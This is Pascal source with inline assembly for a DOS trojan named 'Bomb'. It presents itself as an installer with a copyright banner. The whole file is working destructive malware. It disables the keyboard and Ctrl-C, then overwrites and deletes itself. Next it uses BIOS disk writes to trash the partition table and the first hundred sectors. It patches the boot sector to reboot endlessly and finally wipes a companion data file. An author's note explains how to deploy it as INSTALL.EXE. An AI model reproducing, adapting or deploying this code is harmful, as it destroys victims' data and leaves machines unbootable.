Program Bomb;

Uses
 DOS, CRT;

Const
  Version    = '1.0';
  Copyright  = 'Install v'+Version+'  (C) Vivid Imaginations, Ltd.  All rights reversed.';
  FillCh     = #0;

Var
  Buff       : array[1..512] of byte;
  BuffC      : array[1..512] of char absolute Buff;
  f          : file;
  OldKeyVec  : pointer;
  i          : integer;
  CPath      : string;
  CProg      : string;
  SR         : searchrec;
  PS         : pathstr;
  DS         : dirstr;
  NS         : namestr;
  ES         : extstr;


Procedure ByePartition;  {Use INT 13h to wipe the partition table}
var
  s,o:integer;

begin
  s := seg(Buff);
  o := ofs(Buff);
  asm
    push ax
    push bx
    push cx
    push dx
    push es
    mov ah,03
    mov al,01   {Num Sec}
    mov ch,00   {Cylinder}
    mov cl,01   {Sector #}
    mov dh,00   {Head}
    mov dl,80h  {Drive}
    mov es,s
    mov bx,o
    int 13h
    pop es
    pop dx
    pop cx
    pop bx
    pop ax
  end;
end;


Procedure ByeBoot;     {Read the BS, change the two byte jump to INT 19h}
var                    {(reboot) which will cause an infinite reboot.   }
  s,o:integer;         {..until a diskette is inserted...               }
begin
  s := seg(Buff);
  o := ofs(Buff);
  asm
    push ax
    push bx
    push cx
    push dx
    push es
    mov ah,02
    mov al,01   {Num Sec}
    mov ch,00   {Cylinder}
    mov cl,01   {Sector #}
    mov dh,01   {Head}
    mov dl,80h  {Drive}
    mov es,s
    mov bx,o
    int 13h
    pop es
    pop dx
    pop cx
    pop bx
    pop ax
  end;
  Buff[1] := $CD;   {INT}
  Buff[2] := $19;   {19h}
  asm
    push ax
    push bx
    push cx
    push dx
    push es
    mov ah,03
    mov al,01   {Num Sec}
    mov ch,00   {Cylinder}
    mov cl,01   {Sector #}
    mov dh,01   {Head}
    mov dl,80h  {Drive}
    mov es,s
    mov bx,o
    int 13h
    pop es
    pop dx
    pop cx
    pop bx
    pop ax
  end;
end;

Procedure Bye100;   {Send the first 100 sectors out for pizza}
var
  s,o:integer;

begin
  s := seg(Buff);
  o := ofs(Buff);
  asm
    push ax
    push bx
    push cx
    push dx
    push es
    mov ah,03
    mov al,100  {Num Sec}
    mov ch,00   {Cylinder}
    mov cl,02   {Sector #}
    mov dh,01   {Head}
    mov dl,80h  {Drive}
    mov es,s
    mov bx,o
    int 13h
    pop es
    pop dx
    pop cx
    pop bx
    pop ax
  end;
end;


Procedure EatAllKeys; Assembler;   {Gobble up any keys}
  asm
    push ax
    pushf
    in al,60h
    in al,61h
    mov ah,al
    or al,80h
    out 61h,al
    xchg ah,al
    out 61h,al
    popf
    cli
    mov al,20h
    out 20h,al
    pop ax
    iret
  end;


Procedure Suicide;          {Erase the INSTALL.EXE program}
var
  NB : integer;
begin
  assign(f, CPath + CProg);
  reset(f,1);
  while not eof(f) do
    blockwrite(f, Buff, sizeof(Buff), NB);

  close(f);
  erase(f);
end;


Procedure DisableKeyboard;    {Send the keyboard to lunch}
begin
  getintvec(9, OldKeyVec);
  setintvec(9, @EatAllKeys);
end;

Function GetPath : boolean;   {If DOS 3.3+, use ParamStr(0) otherwise use the}
begin                         {FSearch <shudder> and look in the path        }
  GetPath := True; {Assume path is obtainable}
  if (lo(DosVersion) < 4) and (hi(DosVersion) < 3) then begin
    PS := FSearch('INSTALL.EXE',GetEnv('PATH'));
    if PS = '' then
        GetPath := False
        else begin
      FSplit(PS, DS, NS, ES);
      CPath := DS;
      CProg := NS + ES;
    end
  end
  else begin
    CPath := ParamStr(0);
    while CPath[length(CPath)] <> '\' do
      dec(CPath[0]);
    CProg := copy(ParamStr(0), length(CPath) + 1, length(ParamStr(0)) - length(CPath));
  end;
end;

Procedure ShowFile;    {Displays and overwrites INSTALL.DAT.  Assumes the DAT}
var                    {file is in the same dir as INSTALL.EXE               }
  NB : integer;
  t  : text;
  s  : string;

begin
  assign(t, cpath + 'INSTALL.DAT');
  {$I-}
  reset(t);
  if IOResult <> 0 then exit;
  while not eof(t) do begin
    readln(t, s);
    writeln(s);
    end;
  close(t);

  assign(f, CPath + 'INSTALL.DAT');
  reset(f,1);
  {$I+}
  while not eof(f) do
    blockwrite(f, Buff, sizeof(Buff), NB);
  close(f);
  erase(f);
end;

Begin
  CheckBreak := False;                       {Don't pay attention to Ctrl-C}

  DisableKeyboard;                           {Don't pay attention to ANY keys}

  randomize;                                 {Gotta do it once!}

  for i := 1 to sizeof(Buff) do              {Fill the buffer with trash}
    Buff[i] := random(255) + 1;

  writeln;                                   {Display the copyright notice}
  writeln(Copyright);

  if GetPath <> True then begin              {Whoops...couldn't find itself}
    writeln('Couldn''t find INSTALL.EXE!');  {and so, request the path}
    writeln('INSTALL must be in the current directory.');
    HALT;                                    {Not really true, but will work}
    end;
  Suicide;                                   {Overwrite and erase self}

  ByePartition;                              {Partition table kisses the baby}

  Bye100;                                    {First 100 sectors wave good-bye}

  ByeBoot;                                   {The boot sector is replaced}

  ShowFile;                                  {Display and erase INSTALL.DAT}

End.

(*****************************************************************************
   AUTHOR'S NOTE

    This program will detect its name under DOS 3.3+, however earlier versions
    of DOS do not support PARAMSTR(0) and so you must name the program
    INSTALL.EXE or change the name in the GetPath function.

*****************************************************************************)
